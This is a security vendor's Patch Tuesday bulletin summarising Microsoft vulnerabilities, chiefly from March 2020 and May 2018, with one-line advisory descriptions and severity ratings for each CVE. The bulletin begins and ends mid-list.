A privilege escalation vulnerability exists in the way the Provisioning Runtime validates certain file operations. An attacker who successfully exploited the vulnerability could gain elevated privileges on a victim system.
Windows Diagnostics Hub Privilege Escalation Vulnerability (CVE-2020-0810) MS Rating: Important
A privilege escalation svulnerability exists when the Diagnostics Hub Standard Collector or the Visual Studio Standard Collector allows file creation in arbitrary locations.
Windows Hard Link Privilege Escalation Vulnerability (CVE-2020-0840) MS Rating: Important
A privilege escalation vulnerability exists when Windows improperly handles hard links. An attacker who successfully exploited this vulnerability could overwrite a targeted file leading to an elevated status.
Windows Hard Link Privilege Escalation Vulnerability (CVE-2020-0841) MS Rating: Important
A privilege escalation vulnerability exists when Windows improperly handles hard links. An attacker who successfully exploited this vulnerability could overwrite a targeted file leading to an elevated status.
Windows Installer Privilege Escalation Vulnerability (CVE-2020-0842) MS Rating: Important
A privilege escalation vulnerability exists in Windows Installer because of the way Windows Installer handles certain filesystem operations. To exploit the vulnerability, an attacker would require unprivileged execution on the victim system.
Windows Installer Privilege Escalation Vulnerability (CVE-2020-0843) MS Rating: Important
A privilege escalation vulnerability exists in Windows Installer because of the way Windows Installer handles certain filesystem operations. To exploit the vulnerability, an attacker would require unprivileged execution on the victim system.
Connected User Experiences and Telemetry Service Privilege Escalation Vulnerability (CVE-2020-0844) MS Rating: Important
A privilege escalation vulnerability exists when Connected User Experiences and Telemetry Service improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Hard Link Privilege Escalation Vulnerability (CVE-2020-0849) MS Rating: Important
A privilege escalation vulnerability exists when Windows improperly handles hard links. An attacker who successfully exploited this vulnerability could overwrite a targeted file leading to an elevated status.
Windows Mobile Device Management Diagnostics Privilege Escalation Vulnerability (CVE-2020-0854) MS Rating: Important
A privilege escalation vulnerability exists when Windows Mobile Device Management (MDM) Diagnostics improperly handles junctions. An attacker who successfully exploited this vulnerability could bypass access restrictions to delete files.
Windows Search Indexer Privilege Escalation Vulnerability (CVE-2020-0857) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Search Indexer handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Privilege Escalation Vulnerability (CVE-2020-0858) MS Rating: Important
A privilege escalation vulnerability exists when the "Public Account Pictures" folder improperly handles junctions. To exploit this vulnerability, an attacker would first have to gain execution on the victim system.
Windows Modules Installer Service Information Disclosure Vulnerability (CVE-2020-0859) MS Rating: Important
An information vulnerability exists when Windows Modules Installer Service improperly discloses file information. Successful exploitation of the vulnerability could allow the attacker to read any file on the file system.
Windows ActiveX Installer Service Privilege Escalation Vulnerability (CVE-2020-0860) MS Rating: Important
A privilege escalation vulnerability exists when the Windows ActiveX Installer Service improperly handles memory. To exploit this vulnerability, an attacker would first have to gain execution on the victim system.
Windows Network Driver Interface Specification (NDIS) Information Disclosure Vulnerability (CVE-2020-0861) MS Rating: Important
An information disclosure vulnerability exists when the Windows Network Driver Interface Specification (NDIS) improperly handles memory. To exploit this vulnerability, an attacker would first have to gain execution on the victim system.
Connected User Experiences and Telemetry Service Information Disclosure Vulnerability (CVE-2020-0863) MS Rating: Important
An information vulnerability exists when Windows Connected User Experiences and Telemetry Service improperly discloses file information. Successful exploitation of the vulnerability could allow the attacker to read any file on the file system.
Windows Update Orchestrator Service Privilege Escalation Vulnerability (CVE-2020-0867) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Update Orchestrator Service improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Update Orchestrator Service Privilege Escalation Vulnerability (CVE-2020-0868) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Update Orchestrator Service improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Network Connections Service Information Disclosure Vulnerability (CVE-2020-0871) MS Rating: Important
An information disclosure vulnerability exists when Windows Network Connections Service fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could potentially disclose memory contents of an elevated process.
Windows Hard Link Privilege Escalation Vulnerability (CVE-2020-0896) MS Rating: Important
A privilege escalation vulnerability exists when Windows improperly handles hard links. An attacker who successfully exploited this vulnerability could overwrite a targeted file leading to an elevated status.
Microsoft IIS Server Tampering Vulnerability (CVE-2020-0645) MS Rating: Important
A tampering vulnerability exists when Microsoft IIS Server improperly handles malformed request headers. An attacker who successfully exploited the vulnerability could cause a vulnerable server to improperly process HTTP headers and tamper with the responses returned to clients.
DirectX Privilege Escalation Vulnerability (CVE-2020-0690) MS Rating: Important
A privilege escalation vulnerability exists when DirectX improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows CSC Service Privilege Escalation Vulnerability (CVE-2020-0769) MS Rating: Important
A privilege escalation vulnerability exists when the Windows CSC Service improperly handles memory. To exploit this vulnerability, an attacker would first have to gain execution on the victim system.
Windows ActiveX Installer Service Privilege Escalation Vulnerability (CVE-2020-0770) MS Rating: Important
A privilege escalation vulnerability exists when the Windows ActiveX Installer Service improperly handles memory. To exploit this vulnerability, an attacker would first have to gain execution on the victim system.
Windows CSC Service Privilege Escalation Vulnerability (CVE-2020-0771) MS Rating: Important
A privilege escalation vulnerability exists when the Windows CSC Service improperly handles memory. To exploit this vulnerability, an attacker would first have to gain execution on the victim system.
Windows Error Reporting Privilege Escalation Vulnerability (CVE-2020-0772) MS Rating: Important
A privilege escalation vulnerability exists when Windows Error Reporting improperly handles memory. To exploit this vulnerability, an attacker would first have to gain execution on the victim system.
Windows ActiveX Installer Service Privilege Escalation Vulnerability (CVE-2020-0773) MS Rating: Important
A privilege escalation vulnerability exists when the Windows ActiveX Installer Service improperly handles memory. To exploit this vulnerability, an attacker would first have to gain execution on the victim system.
Windows Work Folder Service Privilege Escalation Vulnerability (CVE-2020-0777) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Work Folder Service improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Network Connections Service Privilege Escalation Vulnerability (CVE-2020-0778) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Network Connections Service handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Work Folder Service Privilege Escalation Vulnerability (CVE-2020-0797) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Work Folder Service improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Work Folder Service Privilege Escalation Vulnerability (CVE-2020-0800) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Work Folder Service improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Network Connections Service Privilege Escalation Vulnerability (CVE-2020-0802) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Network Connections Service handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Network Connections Service Privilege Escalation Vulnerability (CVE-2020-0803) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Network Connections Service handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Network Connections Service Privilege Escalation Vulnerability (CVE-2020-0804) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Network Connections Service handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Network Connections Service Privilege Escalation Vulnerability (CVE-2020-0845) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Network Connections Service handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Work Folder Service Privilege Escalation Vulnerability (CVE-2020-0864) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Work Folder Service improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Work Folder Service Privilege Escalation Vulnerability (CVE-2020-0865) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Work Folder Service improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Work Folder Service Privilege Escalation Vulnerability (CVE-2020-0866) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Work Folder Service improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Work Folder Service Privilege Escalation Vulnerability (CVE-2020-0897) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Work Folder Service improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Error Reporting Information Disclosure Vulnerability (CVE-2020-0775) MS Rating: Important
A privilege escalation vulnerability exists when Windows Error Reporting improperly handles file operations. To exploit this vulnerability, an attacker would first have to gain execution on the victim system.
Windows Privilege Escalation Vulnerability (CVE-2020-0776) MS Rating: Important
A privilege escalation vulnerability exists when the Windows AppX Deployment Server improperly handles file operations. To exploit this vulnerability, an attacker would first have to gain execution on the victim system.
Windows Network List Service Privilege Escalation Vulnerability (CVE-2020-0780) MS Rating: Important
A privilege escalation vulnerability exists in the way that the Windows Network List Service handles objects in memory. An attacker who successfully exploited the vulnerability could execute code with elevated permissions.
Windows Installer Privilege Escalation Vulnerability (CVE-2020-0814) MS Rating: Important
A privilege escalation vulnerability exists in Windows Installer because of the way Windows Installer handles certain filesystem operations. To exploit the vulnerability, an attacker would require unprivileged execution on the victim system.
Windows Device Setup Manager Privilege Escalation Vulnerability (CVE-2020-0819) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Device Setup Manager improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Media Foundation Information Disclosure Vulnerability (CVE-2020-0820) MS Rating: Important
An information disclosure vulnerability exists when Media Foundation improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Language Pack Installer Privilege Escalation Vulnerability (CVE-2020-0822) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Language Pack Installer improperly handles file operations. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows ALPC Privilege Escalation Vulnerability (CVE-2020-0834) MS Rating: Important
A privilege escalation vulnerability exists when Windows improperly handles calls to Advanced Local Procedure Call (ALPC). An attacker who successfully exploited this vulnerability could run arbitrary code in the security context of the local system.
Cumulative Security Updates for Microsoft Windows Kernel
Win32k Privilege Escalation Vulnerability (CVE-2020-0788) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Kernel Privilege Escalation Vulnerability (CVE-2020-0799) MS Rating: Important
A privilege escalation vulnerability exists in Microsoft Windows when the Windows kernel fails to properly handle parsing of certain symbolic links. An attacker who successfully exploited this vulnerability could potentially access privileged registry keys and thereby elevate permissions.
Win32k Information Disclosure Vulnerability (CVE-2020-0876) MS Rating: Important
An information disclosure vulnerability exists when the win32k component improperly provides kernel information. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Win32k Privilege Escalation Vulnerability (CVE-2020-0877) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2020-0887) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Cumulative Security Updates for Microsoft Graphics Component
GDI+ Remote Code Execution Vulnerability (CVE-2020-0881) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Windows Graphics Device Interface (GDI) handles objects in the memory. An attacker who successfully exploited this vulnerability could take control of the affected system.
GDI+ Remote Code Execution Vulnerability (CVE-2020-0883) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Windows Graphics Device Interface (GDI) handles objects in the memory. An attacker who successfully exploited this vulnerability could take control of the affected system.
Windows GDI Information Disclosure Vulnerability (CVE-2020-0774) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows Graphics Component Privilege Escalation Vulnerability (CVE-2020-0791) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Graphics Component improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Imaging Component Information Disclosure Vulnerability (CVE-2020-0853) MS Rating: Important
An information disclosure vulnerability exists in Windows when the Windows Imaging Component fails to properly handle objects in memory. An attacker who succesfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2020-0874) MS Rating: Important
An information disclosure vulnerability exists in the way that the Windows Graphics Device Interface (GDI) handles objects in memory, allowing an attacker to retrieve information from a targeted system. By itself, the information disclosure does not allow arbitrary code execution; however, it could allow arbitrary code to be run if the attack
Windows GDI Information Disclosure Vulnerability (CVE-2020-0879) MS Rating: Important
An information disclosure vulnerability exists in the way that the Windows Graphics Device Interface (GDI) handles objects in memory, allowing an attacker to retrieve information from a targeted system. By itself, the information disclosure does not allow arbitrary code execution; however, it could allow arbitrary code to be run if the attack
Windows GDI Information Disclosure Vulnerability (CVE-2020-0880) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows GDI Information Disclosure Vulnerability (CVE-2020-0882) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Windows Graphics Component Privilege Escalation Vulnerability (CVE-2020-0898) MS Rating: Important
A privilege escalation vulnerability exists when the Windows Graphics Component improperly handles objects in memory. An attacker who successfully exploited this vulnerability could run processes in an elevated context.
Windows Graphics Component Information Disclosure Vulnerability (CVE-2020-0885) MS Rating: Important
An information disclosure vulnerability exists when the Windows GDI component improperly discloses the contents of its memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise a user's system.
Security Update for Microsoft Exchange Server
Microsoft Exchange Server Spoofing Vulnerability (CVE-2020-0903) MS Rating: Important
A cross-site-scripting (XSS) vulnerability exists when Microsoft Exchange Server does not properly sanitize a specially crafted web request to an affected Exchange server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected server.
Cumulative Security Updates for Microsoft Visual Studio
Microsoft Visual Studio Spoofing Vulnerability (CVE-2020-0884) MS Rating: Important
A spoofing vulnerability exists in Microsoft Visual Studio as it includes a reply URL that is not secured by SSL . An attacker who successfully exploited this vulnerability could compromise the access tokens, exposing security and privacy risks.
Visual Studio Extension Installer Service Denial of Service Vulnerability (CVE-2020-0789) MS Rating: Important
A denial of service vulnerability exists when the Visual Studio Extension Installer Service improperly handles hard links. An attacker who successfully exploited the vulnerability could cause a target system to stop responding.
Security Update for Microsoft Application Inspector
Remote Code Execution Vulnerability in Application Inspector (CVE-2020-0872) MS Rating: Important
A remote code execution vulnerability exists in Application Inspector version v1. 0.
Cumulative Security Updates for Microsoft Defender
Microsoft Defender Privilege Escalation Vulnerability (CVE-2020-0762) MS Rating: Important
A privilege escalation vulnerability exists when Defender handles certain objects in memory. To exploit the vulnerability, an attacker would first have to log on to the system.
Microsoft Defender Privilege Escalation Vulnerability (CVE-2020-0763) MS Rating: Important
A privilege escalation vulnerability exists when Defender handles certain objects in memory. To exploit the vulnerability, an attacker would first have to log on to the system.
Cumulative Security Updates for Azure DevOps
Azure DevOps Server Cross-site Scripting Vulnerability (CVE-2020-0700) MS Rating: Important
A Cross-site Scripting (XSS) vulnerability exists when Azure DevOps Server does not properly sanitize user provided input. An authenticated attacker could exploit the vulnerability by sending a specially crafted payload to the Team Foundation Server, which will get executed in the context of the user every time a user visits the compromised pa
Azure DevOps Privilege Escalation Vulnerability (CVE-2020-0758) MS Rating: Important
A privilege escalation vulnerability exists when Visual Studio improperly handles pipeline job tokens. An attacker who successfully exploited this vulnerability could extend their access to a project.
Azure DevOps Privilege Escalation Vulnerability (CVE-2020-0815) MS Rating: Important
A privilege escalation vulnerability exists when Visual Studio improperly handles pipeline job tokens. An attacker who successfully exploited this vulnerability could extend their access to a project.
Security Update for Microsoft Remote Desktop Connection Manager
Remote Desktop Connection Manager Information Disclosure Vulnerability (CVE-2020-0765) MS Rating: Moderate
An information disclosure vulnerability exists in the Remote Desktop Connection Manager (RDCMan) application when it improperly parses XML input containing a reference to an external entity. An attacker who successfully exploited this vulnerability could read arbitrary files via an XML external entity (XXE) declaration.
Security Update for Microsoft Dynamics
Dynamics Business Central Remote Code Execution Vulnerability (CVE-2020-0905) MS Rating: Critical
An remote code execution vulnerability exists in Microsoft Dynamics Business Central. An attacker who succesfully exploited this vulnerability could execute arbitrary shell commands on victim's server.
Security Update for Microsoft Azure Service Fabric
Service Fabric Elevation of Privilege (CVE-2020-0902) MS Rating: Important
An elevation of privilege vulnerability exists in Service Fabric File Store Service under certain conditions. An unauthenticated remote user could gain rights to the Service Fabric File Store Service if the node is exposed externally via SMB or SCP standard ports and they are using the impacted configuration.
More information is available on Symantec's free Security Center portal and to our customers through the DeepSight Threat Management System.
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Microsoft Patch Tuesday – May 2018
This month the vendor has patched 67 vulnerabilities, 21 of which are rated Critical.
As always, customers are advised to follow these security best practices:
Install vendor patches as soon as they are available.
Run all software with the least privileges required while still maintaining functionality.
Avoid handling files from unknown or questionable sources.
Never visit sites of unknown or questionable integrity.
Block external access at the network perimeter to all key systems unless specific access is required.
Microsoft's summary of the May 2018 releases can be found here:
https://portal.msrc.microsoft.com/en-us/security-guidance
This month's update covers vulnerabilities in:
Internet Explorer
Microsoft Edge
Microsoft Office
Exchange Server
.NET Framework
Microsoft Hyper-V
Microsoft Windows
ChakraCore
Azure IoT SDK
The following is a breakdown of the issues being addressed this month:
Cumulative Security Update for Microsoft Browsers
Microsoft Browser Memory Corruption Vulnerability (CVE-2018-8178) MS Rating: Critical
A remote code execution vulnerability exists in the way that Microsoft browsers access objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Microsoft Edge Memory Corruption Vulnerability (CVE-2018-8179) MS Rating: Critical
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Windows VBScript Engine Remote Code Execution Vulnerability (CVE-2018-8174) MS Rating: Critical
A remote code execution vulnerability exists in the way that the VBScript engine handles objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8128) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8130) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8133) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8137) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-0943) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0945) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0946) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-0951) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0953) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0954) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-0955) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8177) MS Rating: Critical
A remote code execution vulnerability exists in the way that the Chakra scripting engine handles objects in memory in Microsoft Edge. The vulnerability could corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-1022) MS Rating: Critical
A remote code execution vulnerability exists in the way the scripting engine handles objects in memory in Microsoft browsers. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8114) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8122) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Scripting Engine Memory Corruption Vulnerability (CVE-2018-8139) MS Rating: Critical
A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Microsoft Edge. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Microsoft Edge Information Disclosure Vulnerability (CVE-2018-1021) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Edge improperly handles objects in memory. An attacker who successfully exploited the vulnerability could obtain information to further compromise the user's system.
Microsoft Browser Information Disclosure Vulnerability (CVE-2018-1025) MS Rating: Important
An information disclosure vulnerability exists when affected Microsoft browsers improperly handle objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Microsoft Edge Security Bypass Vulnerability (CVE-2018-8112) MS Rating: Important
A security bypass vulnerability exists when Microsoft Edge improperly handles requests of different origins. The vulnerability allows Microsoft Edge to bypass Same-Origin Policy (SOP) restrictions, and to allow requests that should otherwise be ignored.
Microsoft Edge Memory Corruption Vulnerability (CVE-2018-8123) MS Rating: Important
A remote code execution vulnerability exists when Microsoft Edge improperly accesses objects in memory. This vulnerability may corrupt memory in such a way that an attacker could execute arbitrary code in the context of the current user.
Internet Explorer security bypass Vulnerability (CVE-2018-8126) MS Rating: Important
A security bypass vulnerability exists when Internet Explorer fails to validate User Mode Code Integrity (UMCI) policies. The vulnerability could allow an attacker to bypass Device Guard UMCI policies.
Chakra Scripting Engine Memory Corruption Vulnerability (CVE-2018-8145) MS Rating: Important
An information disclosure vulnerability exists when Chakra improperly discloses the contents of its memory, which could provide an attacker with information to further compromise the user's computer or data.
Cumulative Security Update for Microsoft Office
Microsoft Excel Remote Code Execution Vulnerability (CVE-2018-8147) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2018-8148) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft SharePoint Privilege Escalation Vulnerability (CVE-2018-8149) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Outlook security bypass Vulnerability (CVE-2018-8150) MS Rating: Important
A security bypass vulnerability exists when the Microsoft Outlook attachment block filter does not properly handle attachments. An attacker who successfully exploited the vulnerability could execute arbitrary commands.
Microsoft Exchange Memory Corruption Vulnerability (CVE-2018-8151) MS Rating: Moderate
An information disclosure vulnerability exists when Microsoft Exchange improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the remote system.
Microsoft Exchange Server Privilege Escalation Vulnerability (CVE-2018-8152) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft Exchange Outlook Web Access (OWA) fails to properly handle web requests.
Microsoft Exchange Spoofing Vulnerability (CVE-2018-8153) MS Rating: Low
A spoofing vulnerability exists in Microsoft Exchange Server when Outlook Web Access (OWA) fails to properly handle web requests. An attacker who successfully exploited the vulnerability could perform script or content injection attacks, and attempt to trick the user into disclosing sensitive information.
Microsoft Exchange Memory Corruption Vulnerability (CVE-2018-8154) MS Rating: Low
A remote code execution vulnerability exists in Microsoft Exchange software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the System user.
Microsoft SharePoint Privilege Escalation Vulnerability (CVE-2018-8155) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft SharePoint Privilege Escalation Vulnerability (CVE-2018-8156) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Microsoft Office Remote Code Execution Vulnerability (CVE-2018-8157) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Office Remote Code Execution Vulnerability (CVE-2018-8158) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Exchange Privilege Escalation Vulnerability (CVE-2018-8159) MS Rating: Important
A privilege escalation vulnerability exists when Microsoft Exchange Outlook Web Access (OWA) fails to properly handle web requests.
Microsoft Outlook Information Disclosure Vulnerability (CVE-2018-8160) MS Rating: Important
An information disclosure vulnerability exists in Outlook when a message is opened. This vulnerability could potentially result in the disclosure of sensitive information to a malicious site.
Microsoft Office Remote Code Execution Vulnerability (CVE-2018-8161) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Office software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Excel Remote Code Execution Vulnerability (CVE-2018-8162) MS Rating: Important
A remote code execution vulnerability exists in Microsoft Excel software when the software fails to properly handle objects in memory. An attacker who successfully exploited the vulnerability could run arbitrary code in the context of the current user.
Microsoft Excel Information Disclosure Vulnerability (CVE-2018-8163) MS Rating: Important
An information disclosure vulnerability exists when Microsoft Excel improperly discloses the contents of its memory. An attacker who exploited the vulnerability could use the information to compromise the user's computer or data.
Microsoft SharePoint Privilege Escalation Vulnerability (CVE-2018-8168) MS Rating: Low
A privilege escalation vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. An authenticated attacker could exploit the vulnerability by sending a specially crafted request to an affected SharePoint server.
Cumulative Security Update for Microsoft .NET Framework
.NET and .NET Core Denial Of Service Vulnerability (CVE-2018-0765) MS Rating: Important
A denial of service vulnerability exists when .NET and .NET Core improperly process XML documents.
Cumulative Security Update for Microsoft Hyper-V
Hyper-V Remote Code Execution Vulnerability (CVE-2018-0959) MS Rating: Critical
A remote code execution vulnerability exists when Windows Hyper-V on a host server fails to properly validate input from an authenticated user on a guest operating system.
Hyper-V vSMB Remote Code Execution Vulnerability (CVE-2018-0961) MS Rating: Critical
A remote code execution vulnerability exists when Windows Hyper-V on a host server fails to properly validate vSMB packet data. An attacker who successfully exploited these vulnerabilities could execute arbitrary code on a target operating system.
Cumulative Security Update for Microsoft Windows Kernel
Win32k Privilege Escalation Vulnerability (CVE-2018-8124) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-8141) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Kernel Information Disclosure Vulnerability (CVE-2018-8127) MS Rating: Important
An information disclosure vulnerability exists when the Windows kernel improperly handles objects in memory. An attacker who successfully exploited this vulnerability could obtain information to further compromise the user's system.
Windows Kernel Privilege Escalation Vulnerability (CVE-2018-8897) MS Rating: Important
A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2018-8164) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Win32k Privilege Escalation Vulnerability (CVE-2018-8166) MS Rating: Important
A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
Cumulative Security Update for Microsoft Windows
